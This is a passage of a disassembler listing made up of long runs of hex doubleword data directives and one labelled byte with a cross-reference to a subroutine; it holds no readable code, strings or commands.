		dd 370E533Dh, 8C23548Eh, 69429FB0h, 2A7444BCh, 0EBC1D97h
		dd 0C46D2464h, 0DD606A1h, 0C3799EA7h, 0E425EB02h, 1DCDC0D4h
		dd 6D0A0E11h, 0AD42A6EFh, 2C4193ACh, 962C108Fh,	1C9E3A52h
		dd 0D63C5000h, 0C7797682h, 0E5D85415h, 454300C0h, 0E6340696h
		dd 0E3863EAEh, 0F5BF6A8Ch, 1C92AD21h, 2F8A88F4h, 8F900888h
		dd 63A09616h, 0E03CF39Fh, 0D40C2B29h, 67F2689h,	0AC51F6A8h
		dd 0BDEA1860h, 2A62211Ah, 0E608AF02h, 87F5EFA9h, 4C426E0Ch
		dd 0A4D0A01Fh, 90793269h, 1B2C0020h, 4658EA0Bh,	2E025C7Ah
		dd 0A6BEE4D0h, 7714B050h, 0AB2A286Eh, 0DBD2130h, 28AC0F3Eh
		dd 0BBB386E1h, 6C6100A9h, 84A63B9Bh, 0B60CEDAFh, 3E85FFE2h
		dd 0C04C7DCEh, 47E93391h, 2E01E051h, 0E7CA1E69h, 4224435h
		dd 0A5AFEE7Ah, 0E903E128h, 21830E4Fh, 0BEF9A460h, 665987A7h
		dd 0C03A8EE3h, 0C27483BAh, 26D6A0h, 7B5F3F61h, 0F61F0166h
		dd 0AE389612h, 188A1C22h
		db 57h,	9Eh, 5
byte_5019F3	db 11h			; DATA XREF: sub_55EDA7+5839o
		dd 0B7EEF13Dh, 7C929804h, 6020821h, 106A4318h, 4288393Ch
		dd 225E862h, 30C5384Dh,	203C0E09h, 222517CCh, 776300F6h
		dd 95349C35h, 2A3E6C1Ch, 7A2CD0DCh, 12F32F41h, 5EF6B8F0h
		dd 30AD0090h, 0ECB3ACA6h, 73E1A518h, 32F27428h,	5A402228h
		dd 80A00461h, 30CD1781h, 0C410DAF0h, 86D83B21h,	880720EBh
		dd 3534C52Eh, 0ACC06BD4h, 1615505h, 0B83CAB22h,	601EAE69h
		dd 80122C78h, 3C0FB325h, 30A720F0h, 28B584B8h, 64448DEDh
		dd 0C3955189h, 310339BCh, 90DA61FEh, 0D3800406h, 0C34EB1ADh
		dd 0A4E16EF4h, 5918823Bh, 60A825BDh, 552A2978h,	5BE8C064h
		dd 846F031Fh, 40FAF734h, 7C4121FCh, 0E7F04887h,	0A06D8FECh
		dd 56B44240h, 0CDC3D327h, 0C280457h, 0D08BB3B7h, 0AA43D8CCh
		dd 0DF8F84A0h, 8EE81860h, 98F27180h, 0D8D6737Bh, 587628C0h
		dd 1A38FCF3h, 208F489h,	845FB744h, 44146B22h, 0EE0BACE8h
		dd 87F374EFh, 0A1604822h, 0C9AD20h, 2483474Dh, 0F4E36768h
		dd 0ED351F00h, 0CE557454h, 1275B5h, 8E3C932Ah, 51D98803h
		dd 0CD64E500h, 79383F61h, 0D1440016h, 0ADC030DEh, 0F6005E80h
		dd 46693193h, 4F21C7h, 0A68A3E0Eh, 0F957CCCFh, 59F32700h
		dd 98A2799Ch, 0DC1C188Dh, 9EF62917h, 0EF2D780h,	0F98AD073h
		dd 164BAA00h, 620079DEh, 140C547h, 0BEDF59h, 2C3F36F3h
		dd 11903E49h, 63B00B8h,	0FAE90041h, 0B6919ED2h,	0EB6228C1h
		dd 98652CBCh, 0C60500D8h, 0D9218F07h, 0CCEA6403h, 0A8C47AFCh
		dd 245A10h, 2A68311Dh, 94834BDh, 0AF0154F4h, 816E646Ch
		dd 55CC0E44h, 7BAD3922h, 2000C3BBh, 3D8A8309h, 2A18A2C9h
		dd 0A0F0C704h, 0CF66189Bh, 2667E046h, 21D191Dh,	0B2A6DB40h
		dd 0A08B7435h, 0B8DC88h, 0EC6FA9A4h, 0C942CCFDh, 3D786E00h
		dd 64A1C49Eh, 3C4E00E9h, 61682909h, 2004280h, 0FE6D1C1Eh
		dd 15A828h, 4163B8F0h, 22650583h, 0BCF9AF00h, 0D6D9D001h
		dd 0CC9056h, 0FC8981C8h, 48A0EF4Ch, 70007B73h, 38D0C7Ah
		dd 0F5213E4h, 275A0AC2h, 0A4B89D4Ch, 5B30F2F8h,	8D5F1197h
		dd 82EC00CAh, 71A28446h, 0B2674170h, 0FBC0C0F4h, 73054078h
		dd 0E314054Eh, 1E46EBh,	0DCDAE788h, 94005692h, 0EF6FBF7Ah
		dd 3B67858Fh, 1800C945h, 3E0C5C84h, 0FF00E5D2h,	583C28F4h
		dd 9B7C9Ch, 6B982747h, 21C68570h, 1C8E6801h, 2CA5674Dh
		dd 0E7A40F0h, 62D1E3FBh, 0B1A76A66h, 177C4F03h,	3ADE0E4h
		dd 0A821EE89h, 20489E66h, 46A70078h, 8A31ABCDh,	64DB0020h
		dd 4D850F59h, 96004A7Bh, 84010AE1h, 3E67FB18h, 19BCFE6Fh
		dd 9E8017BAh, 0DE718894h, 0F500DC96h, 660E0B53h, 5D9635Dh
		dd 978CFD73h, 0EBE4D06Eh, 0AC072796h, 80444CCAh, 0E5596860h
		dd 7F740002h, 9F107CFBh, 3701CCDBh, 3DAC256Ch, 0DAC8068Dh
		dd 0A6690A3h, 0C07BC5E4h, 0BCDD02E5h, 0C84060F2h, 50EF4E21h
		dd 3D5691F0h, 7B4CA800h, 0CB338AB7h, 35290041h,	874FFFD3h
		dd 6A0010C0h, 99CF423h,	5AA65EEh, 0E003BE2Eh, 408C0EF9h
		dd 1CB4D680h, 9CA0BA56h, 0D0488BC8h, 83130058h,	0B67D0502h
		dd 0F4DE1ECFh, 638F0173h, 802BE72Ah, 874EA340h,	7C90C9h
		dd 0E6A60319h, 0A456F876h, 0AA0094Bh, 8AC20E75h, 5187D058h
		dd 3934F7C5h, 39735900h, 0CA544B41h, 0D010F9Ch,	236FC88Ch
		dd 0CDF42CA0h, 0A60100C4h, 8067DAE9h, 4700FAF5h, 41C95250h
		dd 7E89030h, 0FB110A2h,	225B208Eh, 0F6E264E7h, 2EC07911h
		dd 0D8A98509h, 65396480h, 76001094h, 8F5C5B1Ah,	0F88EE8CEh
		dd 0DDBD00B9h, 0F0D83CDCh, 0FF0F8283h, 8008761Dh, 0AB4C5C4Fh
		dd 941600B7h, 5E115377h, 470CCDF5h, 0C031B6A2h,	85AC26F9h
		dd 0BCFE800Ch, 96104919h, 0C23B7703h, 0B86AC540h, 567E594h
		dd 14DE73A2h, 0D7A40047h, 65505610h, 4B8F6800h,	0C846431Bh
		dd 0F8E249C7h, 0D433D300h, 2BD28DF2h, 90000BAh,	2F5C48A1h
		dd 8A10B4h, 0CFE2F879h,	0F964BA9h, 0ECE3AC00h, 30BB1C20h
		dd 0EB7306DAh, 0B1828572h, 0CB0BC2E2h, 2FF89710h, 490CC120h
		dd 2E30A1EEh, 434D00CFh, 113B988Fh, 68007889h, 7659EA31h
		dd 90B7D650h, 602F4830h, 8813E02h, 0B88406D9h, 5059805Dh
		dd 594D7E09h, 51CD0080h, 0C053D923h, 404C00C5h,	78E3B66h
		dd 10EE6FDBh, 2073BE26h, 0E581FE80h, 0A42BA7h, 16349EFFh
		dd 555D3E96h, 0D053A824h, 384B8200h, 0FB895Bh, 0A96E462Ch
		dd 62911F8Eh, 0E8166FECh, 4002B31Bh, 40B9BC5Bh,	0A077422Eh
		dd 58FD1B8h, 6E4DCB6Ch,	2A00801Ch, 0B3015D27h, 6D248733h
		dd 48303864h, 7220043h,	0DA75B22Bh, 0D030F0F7h,	5C70D0FBh
		dd 4DFD06F8h, 585702CCh, 64F09100h, 7E4353BFh, 0E65A00B4h
		dd 0F5B3D069h, 98483438h, 0F1EB01CAh, 9654DEF6h, 2C997EC8h
		dd 38BC2159h, 40F94580h, 7CB7F0E9h, 89001AE8h, 8B90710Dh
		dd 1FDDF593h, 80111959h, 26A3EFD4h, 0BE0058FBh,	99FC25C1h
		dd 1BAEB9h, 2BEC60ADh, 12119E0Fh, 0F2EBBD13h, 6B376404h
		dd 2D405380h, 485B0002h, 5EBD97DAh, 0BE00A364h,	1ED2C013h
		dd 4A04FCD8h, 0C9E80091h, 0E9C77FEBh, 29531126h, 1EB03400h
		dd 964893h, 0F66CB178h,	84E4EE58h, 75A05E58h, 0A02FBD0Eh
		dd 0B9C9C0FBh, 2D2F8DDh, 7156E1DCh, 0ACC08628h,	3600A57Ch
		dd 0EBD3D8Dh, 1E767A7h,	2C6F5FDEh, 24A68BC3h, 5000DFA8h
		dd 0F16A7723h, 142FB16h, 55DB1CF8h, 0FC11B0CBh,	0C8902F1Fh
		dd 0A0BE000h, 78F81B87h, 5A4A73h, 0DBD0A190h, 0A43A4907h
		dd 7F59602Ch, 35C89F3Ch, 9295D40h, 0CC234142h, 0CFE9CCF8h
		dd 9B30EC2Bh, 16D4C104h, 2C808371h, 2D13FDh, 5E74FEADh
		dd 3F89D04Eh, 2009EA7Fh, 2029DF02h, 7D075AB4h, 0CC9A00F9h
		dd 705BB21Eh, 2F006DCAh, 0FADF7BA2h, 489632E8h,	4E000E4Ch
		dd 6A35B04h, 58008EC2h,	15359BFCh, 0F4786CA9h, 0FE33180Eh
		dd 0EAB858EDh, 0C334B78h, 0C3C211A3h, 0AA16E12Bh, 0D5F00875h
		dd 28EA01D8h, 2E931F57h, 608FD067h, 1E20306Fh, 121C76FEh
		dd 0F24081C9h, 43487CBh, 1897E60Ch, 4853FB0Fh, 0F6FD1CD3h
		dd 0D61DEB01h, 782EA970h, 8C6E007Fh, 1CEF56ECh,	0CB3C2CEEh
		dd 75DF0664h, 1B8957F4h, 0A8EAFFDBh, 775368C0h,	7B74F0FAh
		dd 0EB74541Dh, 73CBD8C0h, 0E53358h, 84D478E7h, 144E7E66h
		dd 0E8FA800h, 88BC53FDh, 647500E3h, 0EEEAF43Dh,	572D03E1h
		dd 0A1CC1F5Bh, 21B38C04h, 0E94AD8A1h, 1709E044h, 4F77A044h
		dd 2311F13Eh, 11D4117Ch, 22149428h, 3F44A8CDh, 0B8CF0357h
		dd 94357129h, 0F708040Ah, 0D10FEFD0h, 3140E0FEh, 0E27F91h
		dd 0A41F90E3h, 0BB3EB3C2h, 51563C00h, 74711A9Dh, 98C600F0h
		dd 4845D70Fh, 82385792h, 43FC8539h, 80C76D19h, 7B1497C1h
		dd 29C5820h, 454D369Fh,	8F4096E6h, 0CD1C865Bh, 0C7C529E1h
		dd 84400B1Fh, 0B93FBA4Ch, 748048E6h, 978F0A02h,	7C4835D5h
		dd 8C006AB5h, 543BED3h,	54343Dh, 0EBA3F531h, 1AB894CFh
		dd 0DED8E500h, 4C387FCh, 73D42A44h, 0D1C61CD0h,	234802DBh
		dd 0C44986AAh, 7EC86027h, 6B113760h, 97568FBh, 88BAD780h
		dd 522BB040h, 99989331h, 3DC4A960h, 4A5309Ch, 0AB2F7E88h
		dd 4E590300h, 54BA6801h, 21320095h, 0C89EF94Bh,	9A699012h
		dd 97498140h, 47C04222h, 0A3DE18A7h, 21BE6881h,	960072B0h
		dd 3B13FC4Eh, 38C0AC92h, 180C187h, 1FCFCAAEh, 476040E2h
		dd 0B799E030h, 285D0107h
		dd 7D766DECh, 1C7C6050h, 0DE03C403h, 9B88C8h, 0E4B31410h
		dd 9735535h, 24A7A900h,	0E1A570D4h, 0CF5605B7h,	0C0E05CBAh
		dd 4EFA881Ah, 7000F3B8h, 251CE161h, 0F87E5518h,	525804E3h
		dd 80D5D18Ah, 0E4DCC96h, 792FB407h, 7DF1BB85h, 0C220B536h
		dd 1746034Eh, 0AB98FC05h, 0ED345180h, 1485560Ah, 3B97CC09h
		dd 59B19000h, 3DCCA92Ch, 7181DDE0h, 0C38CC06Bh,	1C51E06Ah
		dd 0CEE41700h, 89D8A2F9h, 6557396Ch, 0DE591D81h, 0D80E37B2h
		dd 4F0363C3h, 0EF96D911h, 53600055h, 0BC596970h, 7D00725Ah
		dd 9211B790h, 33F93F5h,	0DF8FCBB0h, 2DA8BBD7h, 0EB121BD2h
		dd 0DCC0F2CDh, 1D225C1Eh, 80B737F7h, 700BC9C3h,	12027ECFh
		dd 0A8690CF8h, 0E2450E5h, 0BF338AE7h, 9032D324h, 0DD3ADB28h
		dd 0CA948B09h, 332020B1h, 0D9A011h, 608998F7h, 0CF039CE1h
		dd 4AAD2A0Eh, 80634B41h, 0FEF9CA5Fh, 0F3331F4Eh, 4039DD97h
		dd 0F50C07C6h, 8C001568h, 99B1DDD6h, 0B6594BAh,	0F63254A2h
		dd 0D8D3C80h, 0CA01CFA9h, 0FFF4811Ah, 61F0779Ch, 8EF4EBh
		dd 68E3FE18h, 34FC808Dh, 0B52A8F01h, 0E29E744h,	3D832064h
		dd 0E300FFFEh, 0DF581394h, 0BD0030B1h, 93575C3Ah, 7777814h
		dd 44EFE4F3h, 650520FDh, 2200A5DEh, 0CC833A84h,	2F8139Dh
		dd 54F561E9h, 0D4E0F9BDh, 81EE2609h, 91188912h,	3070A800h
		dd 6303DC9Ch, 44B6D94Bh, 17F09590h, 8939B300h, 28E0D170h
		dd 145200F5h, 0B9C84621h, 0D700A106h, 7758B3DEh, 141F869h
		dd 0E3DBA34Ch, 0D01ADDACh, 0FB00234Dh, 1597E9F3h, 0A2EEE6h
		dd 7AAEF221h, 6D9DB7CAh, 700081E8h, 629CF642h, 9F3453h
		dd 0B0C95571h, 93D8E4F9h, 0FF10F8EDh, 4D072DF2h, 3CD9460Bh
		dd 4710F327h, 0B0F14FEFh, 6F91A06Fh, 5800088h, 0BC1AAD9Ah
		dd 71F11A7h, 62401696h,	8AF06733h, 19A7E7Ah, 6AB3428h
		dd 0DCB230A4h, 23003921h, 0D5B620EEh, 0F6D4DAF0h, 47E701EDh
		dd 250476C5h, 836DF8F3h, 33A9D200h, 0E1089CB0h,	5F380032h
		dd 0CA6F0C9Bh, 2F0068F1h, 0A6C1C44Ch, 1E6D23Ch,	58DC706h
		dd 0E88B2249h, 0D4021FB2h, 4D9DF40Ch, 2411E0FDh, 6453FA1h
		dd 0F823380h, 0DBE74F75h, 0DA6CCEDh, 0C1249100h, 95924B73h
		dd 0A7E600E8h, 0AFEA0144h, 0A30FDB87h, 0C98A9376h, 0CF308033h
		dd 7CF198C4h, 4B0C0FC0h, 0F5E0494Dh, 7937069Ah,	0E7A09E07h
		dd 7AC061DAh, 5976EF38h, 0A50490A3h, 0C12241E6h, 64E879C4h
		dd 0DB3E1F9Ch, 25A8C8C4h, 0A648A171h, 183085FBh, 0FDF92EC6h
		dd 7840067h, 0A863E22Bh, 0D5682500h, 876026D0h,	0E10F5C47h
		dd 1D9B7C00h, 0E56F197Dh, 46791000h, 0E370D75Eh, 0BB6B07E9h
		dd 70DF5DD4h, 7B73F1C9h, 2BA27C01h, 39058F6Ch, 0C0D7B8E1h
		dd 1261D875h, 30EDB4h, 585123A0h, 770003E4h, 107FF87Ch
		dd 7F5ADD91h, 0B433003Dh, 413D6D9h, 1D00A48Eh, 7EC4E5E4h
		dd 0DB82C5h, 0FDAF235Ah, 0C24818B3h, 44F4153Dh,	28577E9h
		dd 63D39AE5h, 44CBCFEEh, 0FEDD3980h, 0FC9548h, 0DE7F84E7h
		dd 75E2CE3h, 6AF0F574h,	0D29D1355h, 0C3C0D0ECh,	0C807C680h
		dd 0ECE2EA2Ch, 181C700h, 0AE230065h, 4E1F7B27h,	9B0F2B40h
		dd 208B419Dh, 54EA62BCh, 0CC8F005Dh, 27A064B2h,	3909B0AFh
		dd 80CAE0BBh, 0D8FF0890h, 335522A8h, 17760F25h,	8D656248h
		dd 0BC6C102Fh, 8180B211h, 0E0BA8988h, 747F5B26h, 6C772D0Eh
		dd 2AB06253h, 363448ABh, 0B7C10FAEh, 381680Ah, 0EBC5C2DBh
		dd 6A4A4EE0h, 0B9490701h, 0A6271C17h, 0FCD45089h, 208F2C48h
		dd 6C206B4Ah, 63536960h, 0BE392832h, 74ED6800h,	0DEEC65CBh
		dd 40F54A75h, 0EAFED550h, 1F056728h, 0AB88E93h,	0E6DBE4C0h
		dd 26FF1D1Ah, 55A9407Ah, 4CEF63FCh, 5A386160h, 0E3B6C53h
		dd 39F41F77h, 4B72A661h, 3618D073h, 80C89525h, 616C5DA4h
		dd 38220751h, 0C7C9D6EEh, 492A46A0h, 0A30C1CB0h, 0D1D9A269h
		dd 488D6774h, 66EDC0B4h, 94014CDBh, 0DF2EFF07h,	4E2BD31Ch
		dd 188034F0h, 0E3D7A0AEh, 0D9E00395h, 3308030Dh, 3958713Ch
		dd 4568FE2h, 8BB4A180h,	0EAFF4Fh, 34995AD2h, 57922C88h
		dd 93368907h, 9641BE7Fh, 90858625h, 20A97722h, 0FAF69BD4h
		dd 886BE103h, 91CB2E85h, 0ACF58676h, 0DD40A5CDh, 0FC9599h
		dd 2AA46C4Eh, 278D7655h, 51898200h, 570CB143h, 0C38A15E0h
		dd 0B700DC8Eh, 35D455E1h, 393A1294h, 3ADBC15h, 8BEECD5Ch
		dd 0F4C6F0C9h, 0B3AE0EDCh, 6B46F088h, 3A54F8A5h, 2F00B0A4h
		dd 90013464h, 3ACC5620h, 0D8158C6Bh, 0B861ACDBh, 0FCD4EC91h
		dd 0D60EA543h, 723276AAh, 0BB688803h, 0D067FBDEh, 9A76C98h
		dd 0D9D45AB6h, 0E018EC52h, 0EDB1642Ah, 510D24C8h, 0F14280E4h
		dd 5FEE2075h, 0CCE1D402h, 0A172D802h, 614259C4h, 7A48E8h
		dd 0C21CE9DFh, 0F13D4712h, 0B4521E00h, 0D4AAC8Eh, 90E476D8h
		dd 0B31A003Fh, 649E379Ch, 0C307D458h, 0A253528Ch, 80A3E9B0h
		dd 0F31700AEh, 0BCC5767Eh, 0EB059482h, 0D74AF163h, 0C70AC6C0h
		dd 0B89C06C0h, 30C134FDh, 0FEBAA907h, 59A75A23h, 0BC4C805Eh
		dd 0F7ED26h, 0AD78F27Eh, 41E1EC7Bh, 0FEF07100h,	2052864Ah
		dd 38B800CCh, 23EB0E58h, 0A300DA6Bh, 794AE3A9h,	6CD3E6h
		dd 8A7DE170h, 0B2D2FB14h, 0E0E27C00h, 0FF43D4B0h, 3EAE00C0h
		dd 26E80BA8h, 9339DE6Bh, 5FB000C4h, 6DB7CB17h, 8A6C01F1h
		dd 0ADC8DA76h, 0F5AECE5h, 0A6675800h, 88104AC2h, 0A04AFACh
		dd 211417B6h, 5341FD04h, 10B9A8CDh, 0BA615F80h,	865EE709h
		dd 5881200h, 0AABEC2D0h, 6E87253h, 68AF4D92h, 0B2422963h
		dd 11C09311h, 82115C04h, 8A6217Ch, 1090C71Dh, 447E0384h
		dd 0A344999Ah, 422C48C5h, 8E247ADAh, 12B9AB21h,	7BB31038h
		dd 0D109E289h, 105412BDh, 0D689721Ah, 0B7444408h, 2F228460h
		dd 11CA420Fh, 7C2AB49Ah, 3E084450h, 0A34F9844h,	2A21BC14h
		dd 1212120Ah, 0A429F78Ch, 89687C84h, 44821006h,	0E1601CECh
		dd 0DD45007Ah, 38592507h, 0BF3B2200h, 9F5BCE19h, 29AD00EAh
		dd 49EB4A99h, 8800ABFAh, 92812668h, 0FE3F82h, 5A9156BFh
		dd 72171C78h, 710ADF00h, 0E91D03DBh, 0C8B41DA8h, 0C2C6400Ch
		dd 518DD209h, 7A0E1000h, 0E01453E5h, 2178036Bh,	0DF1CD5BAh
		dd 0CF3740DFh, 0B439A751h, 4D8805AFh, 1DC32B35h, 723EC861h
		dd 0C20406A9h, 4E4AAD53h, 7858D80Ch, 0EC2875h, 855E70DFh
		dd 92FEB021h, 1D72CB00h, 0C09A74AEh, 36750CEAh,	0BA3A500Ch
		dd 12157906h, 78D7AFh, 3ACDFB64h, 0DA83B3EBh, 8F527612h
		dd 1BA6C00h, 1C8444D4h,	40E006DFh, 48090CD3h, 0BB008087h
		dd 0E35978FEh, 32E2AB3h, 4BE56E17h, 3096A2D3h, 0FC398C00h
		dd 0D91CA7B1h, 287E0722h, 0C085F94Fh, 5D71355Bh, 0DB59D400h
		dd 0E25CD183h, 302A0E4Dh, 0F140917Fh, 0F71077B8h, 0E1013CFEh
		dd 0D35613FBh, 0C8F3C75Dh, 0B57E770h, 24F9A21Ch, 91C57E80h
		dd 0F3480201h, 205400D0h, 4E760CA3h, 12680087h,	3E44E461h
		dd 0A606FA85h, 86DA99DCh, 84E901D2h, 0EBC8BDACh, 0CF2FF44Dh
		dd 1F65700h, 0D6097326h, 2CE29Ch, 0A8EE158Bh, 28377D89h
		dd 66469B05h, 0A9034EDEh, 0D062BB0Dh, 504861E8h, 0CCC01Ah
		dd 0B6F56E96h, 7066674Ch, 0D38FB00h, 53C445EFh,	4A8A06F6h
		dd 411796B4h, 3EF33300h, 0AC3A1CBh, 12FD00F6h, 0F7FF8074h
		dd 0F028A3C5h, 3700E4A5h, 2832540Ch, 1A195Ah, 4C4F2DC3h
		dd 5750C016h, 34A7600Fh
		dd 0E86967CFh, 5A505217h, 3CAB4BEh, 75201DCDh, 0EAF8A809h
		dd 18F8DEF3h, 0BD887C1Fh, 3EE87040h, 7B328B52h,	3ADC5Bh
		dd 0D53BE0AAh, 0A8098580h, 20C97804h, 3DAA748h,	0CFE23069h
		dd 0EF29B3F9h, 835DBB1Fh, 0D84A73DEh, 0C20E805Bh, 0EBC58093h
		dd 3C931CCh, 0B1E4A96Bh, 6B894CFh, 0BF000112h, 8ED8877Eh
		dd 3DF55BECh, 1B80D97Ch, 79F1F95Ch, 20033923h, 83EBA3Bh
		dd 2760F015h, 0ED54046Bh, 903D61D1h, 4DC7930h, 0DD13201Eh
		dd 8E15C84Ah, 0E3DFB1Ch, 40A24B25h, 1A1CC1D0h, 0E2731F05h
		dd 0C83D4F07h, 0BC6F35E0h, 971E8834h, 70405A82h, 90C5BFF1h
		dd 0E40D03D1h, 3D4F02C6h, 0A01326A8h, 4D7FC8B0h, 0AD34B000h
		dd 8908D4B6h, 6DE90053h, 4C0F7FE4h, 2F001BC6h, 0FDF195A3h
		dd 2675AEh, 0C7568E1Dh,	0EE4DEA3Ch, 0AA01C3ECh,	5A51A8Bh
		dd 3430129Fh, 4DE0F2Bh,	5E800CDBh, 0B13D223Bh, 5834C404h
		dd 0F8903891h, 1B0065Ch, 2D56E4C3h, 0F8F8A5A2h,	69308DD4h
		dd 235446EBh, 0E4A100A6h, 0D3DD1D7Ah, 7800F9BCh, 73C6D14Fh
		dd 71AC7Eh, 0ABFE0524h,	13DA8D70h, 0C2ECBA54h, 6D589802h
		dd 6930A5CAh, 0DFDCB96Ch, 4E6400BCh, 0D5951CECh, 2C00AF8Ch
		dd 0FC81779h, 319BDDh, 81828629h, 3CA2F12h, 0DF8C6807h
		dd 9790B68Ah, 7ADBE86Ch, 58D73FF2h, 85C79080h, 0DEE3140Ah
		dd 0E063A00h, 8BAFB9BDh, 0C8F4307Dh, 0FB722FF8h, 853740Eh
		dd 2770C01Bh, 0C046A6D6h, 0F4BAE390h, 75008D8Ah, 68C9A38Eh
		dd 48E65Fh, 0CEB9A9AFh,	0F43FC46Bh, 0E9819850h,	245FD301h
		dd 0F3A3D917h, 166A4FCh, 9E8CAE0Bh, 0F2274147h,	0ACB9F480h
		dd 990038C4h, 0F51CD842h, 72FD6Fh, 57130BD0h, 0B7331632h
		dd 1C58107h, 219061B2h,	0D04392h, 0FAB9FE40h, 8796D75Ah
		dd 71A92E04h, 27021183h, 28C408E2h, 0AFE38C01h,	589AF536h
		dd 0FA3DB841h, 7BDF8F30h, 0A28400B1h, 7955C79Bh, 9198080Bh
		dd 7C196E00h, 4ED7525h,	9EC848BBh, 3789AD03h, 46D0B1C7h
		dd 0F53DC543h, 0C9A70068h, 8DEAAF02h, 0D37927h,	13637621h
		dd 0B1A2B515h, 804F8B00h, 94BAAB9Ch, 4A330F7Ah,	0DA01CD6Eh
		dd 0ECC7B9A3h, 76004151h, 79D78D26h, 7DDC8F2h, 28B27AC9h
		dd 0BADE0089h, 9D000FD6h, 0BD40BBEAh, 0F0AD4927h, 2D1200BFh
		dd 4DDA1F26h, 0E600AF6Eh, 5FC9F57Ch, 4EFB0B6h, 855CF97Eh
		dd 0CA1580A1h, 4001B55h, 249EA662h, 0FBC87690h,	4DE84430h
		dd 875E486h, 0C52CD248h, 14742181h, 34CC1D60h, 63A100D7h
		dd 278B736h, 5A009657h,	0B0E87320h, 0C394CAh, 0A72E06ADh
		dd 6A9F4D8Dh, 0CD450E00h, 2A14D6D1h, 139C922Dh,	409B79B1h
		dd 44043FECh, 58FCE4FEh, 4E0A0D00h, 0A39F888Fh,	2231C05Ah
		dd 0AEF96747h, 167D3300h, 77CE3C6Bh, 8D880023h,	67C943A0h
		dd 180593FBh, 0FF7ABCD2h, 0A7634580h, 0A3B637C5h, 0F7BD60D0h
		dd 3200ABEFh, 29A0AF9h,	1FB74D35h, 0C093C962h, 4CFDE704h
		dd 495CC53Ah, 2A3302A0h, 809ABC3Bh, 9587E2E8h, 2EFCF145h
		dd 30BB0042h, 7951C3B5h, 96015F06h, 0F2B4EB13h,	0AB60AF81h
		dd 0F472E2D2h, 11B079h,	280D095Fh, 3D1E9846h, 8021EE3Fh
		dd 568D08C1h, 5C7C80F4h, 3913E740h, 16EA0366h, 58A0AB03h
		dd 0B6F07DC1h, 0B72B3D17h, 0C35D3404h, 29C08487h, 191A3F2h
		dd 0B64EED0Ch, 706CCF60h, 0F012F42h, 0ED9FE84h,	655824h
		dd 0EC4DC60h, 0EF70915Dh, 93CF440h, 8D000C14h, 0F84BB2C2h
		dd 98D65997h, 58440130h, 0EE83652Dh, 5D1ED8A7h,	2BEDBB00h
		dd 0BED2FD38h, 8B7205h,	0B0E2C76Dh, 961C9FA9h, 68824704h
		dd 0C081EF4Dh, 0A1CCCA0Dh, 9C7518h, 6F9B87A9h, 2F7F37ABh
		dd 803E4A00h, 6CF2E3ADh, 0DCF4E1h, 8DC6E877h, 0C14C3039h
		dd 21EF9707h, 6F8070EBh, 0E00BCCh, 2CA5FD86h, 0E31AFC8Fh
		dd 4CD33E03h, 0E0DABCF9h, 0E6B36D2h, 0CD7CC582h, 5040E3C9h
		dd 600A7C6h, 818D043Ch,	2EFA685Ch, 780FF83h, 0C023A0D4h
		dd 0E907CEF7h, 64E1930Ch, 7BE6C4h, 5A195F26h, 68898F06h
		dd 3D2F0400h, 5CCC6B48h, 0D74E00AFh, 0F0A58176h, 1C0B5589h
		dd 80EFAC1Fh, 0FD092880h, 215E0104h, 6D1CFAFh, 0D493CC64h
		dd 14E0712Ch, 11C39904h, 9F2C8481h, 17F006E1h, 0C06E0A83h
		dd 0CEED33h, 865DF8CEh,	0CD0070A4h, 0A953E4F1h,	5A210Fh
		dd 6E98A84Ch, 0A27DECF6h, 497DA1Ch, 0C0BA8CC1h,	60700FC7h
		dd 1D3FA07h, 41E4145Ch,	8AF05F12h, 0C8CFCA20h, 0D5AD1C3Eh
		dd 6486E580h, 0E57EAF3h, 0C92E783Dh, 0DE90D6A0h, 0B700389Eh
		dd 8C452B4Ch, 69D208h, 1CE9397Eh, 0B66EAE1Bh, 27574207h
		dd 43A0E0B4h, 0FF758BBh, 0FA2CF2A1h, 0C065A860h, 30007EE4h
		dd 0A6DCC36Ch, 0D76DC2h, 0EA0D294Ch, 67B805A7h,	0CB309E03h
		dd 0FA47DC07h, 80D482F8h, 0F238C8D4h, 4E350074h, 6D104915h
		dd 7100AE29h, 518E4D0Bh, 5CC5BBh, 0BC61DB50h, 9380F9B6h
		dd 9A839B04h, 7CC0F2F5h, 54CB6FB9h, 205CD408h, 9500C97Dh
		dd 67BE6DF3h, 1C66536h,	0A6EA1796h, 87A5F9FDh, 0EC40E6D4h
		dd 0EF85B100h, 0D97AE7h, 0D5B35510h, 4D913023h,	0EC0BD707h
		dd 0CF008B12h, 2E9D40DEh, 12B33943h, 94CA00D0h,	1BF48D93h
		dd 65C49E00h, 62C16A9Ch, 73E49Bh, 0B32A377Bh, 78E21BDCh
		dd 4C07D6E0h, 0A829B5A9h, 63A5C930h, 4A8400FBh,	0AD5FCD1Dh
		dd 0F8EA665Ch, 74F0BB4Ch, 0B8BCF63Eh, 0E15884D8h, 30D0353Ch
		dd 39240411h, 44820D77h, 46725127h, 6700FC50h, 83304AE6h
		dd 3DAA0F8h, 169DD3A4h,	68A2B73Eh, 557EF060h, 273DDD25h
		dd 0F6C0F3BCh, 426282h,	0C0964AD3h, 3077F2B6h, 0F1982301h
		dd 2B8013A1h, 102BBC4h,	108F7E9h, 0F2954FCFh, 5E0E4F40h
		dd 100D3C03h, 0C835A49Bh, 580F725Bh, 19D80C54h,	7F00B4C7h
		dd 0F7F2BFF4h, 7248C91h, 72ABFD02h, 0B351738Bh,	0F09A34B1h
		dd 33B89E2Bh, 0E5508501h, 4DA804A4h, 341DC428h,	0A1D58092h
		dd 3D63A303h, 0A2C626h,	3E0DD39h, 0A6E988D2h, 2F110086h
		dd 0DB4EA00Dh, 0D81619F5h, 2C80A11Dh, 0B21F8448h, 9F3015Ch
		dd 0B0FA81EEh, 0D4CC217Dh, 0C2E48CE0h, 0B45EC000h, 541CFD01h
		dd 69383CE2h, 61CE6003h, 6906C79Ah, 0D82D114Bh,	69EB051h
		dd 0A2C08FF9h, 0D00E5001h, 0A96AF5AEh, 84198933h, 5CB1BD4Ah
		dd 3055BE0h, 99BE477Eh,	21B0CC50h, 0B2005EDDh, 0B16E5531h
		dd 19F03Dh, 4C230874h, 25108AA0h, 91EAA48h, 807CE212h
		dd 839592A9h, 0E3C40EADh, 0CE05DBDh, 0EE0390EBh, 0FA4D1700h
		dd 94FF39A3h, 89810F92h, 0BF2285D0h, 0A8E03D5Eh, 0B71BB3Eh
		dd 30987878h, 599E3F00h, 0C0FB5D9h, 0B7FA0101h,	298F4A71h
		dd 6DB4400Ah, 7500E5FFh, 310540F2h, 0B9FCF10h, 0AAD685Ah
		dd 61112E81h, 843AFC98h, 6FD5F300h, 14AEA934h, 4D30002Fh
